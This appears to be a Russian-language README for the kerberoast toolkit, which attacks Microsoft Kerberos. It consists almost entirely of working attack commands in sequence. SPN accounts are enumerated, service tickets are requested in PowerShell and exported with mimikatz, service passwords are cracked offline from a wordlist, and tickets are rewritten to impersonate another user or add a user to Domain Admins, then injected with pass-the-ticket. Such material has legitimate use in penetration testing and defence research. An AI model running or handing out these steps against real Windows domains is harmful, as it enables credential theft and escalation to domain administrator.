nidem/kerberoastИнструментарий для атаки на реализации MS Kerberos: извлечение учетных записей SPN, запрос и экспорт билетов, взлом паролей служб, перезапись билетов для олицетворения и повышения привилегий.
Kerberoast — это набор инструментов для атаки на реализации MS Kerberos. Ниже приведён краткий обзор того, что делает каждый инструмент.
PS C:\> setspn -T medin -Q */*
Один билет:
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"
Все билеты
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
mimikatz # kerberos::list /export
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
Сделать так, чтобы пользователь выглядел как другой пользователь
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500
Добавить пользователя в другую группу (в данном случае — Domain Admin)
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512
kerberos::ptt sql.kirbi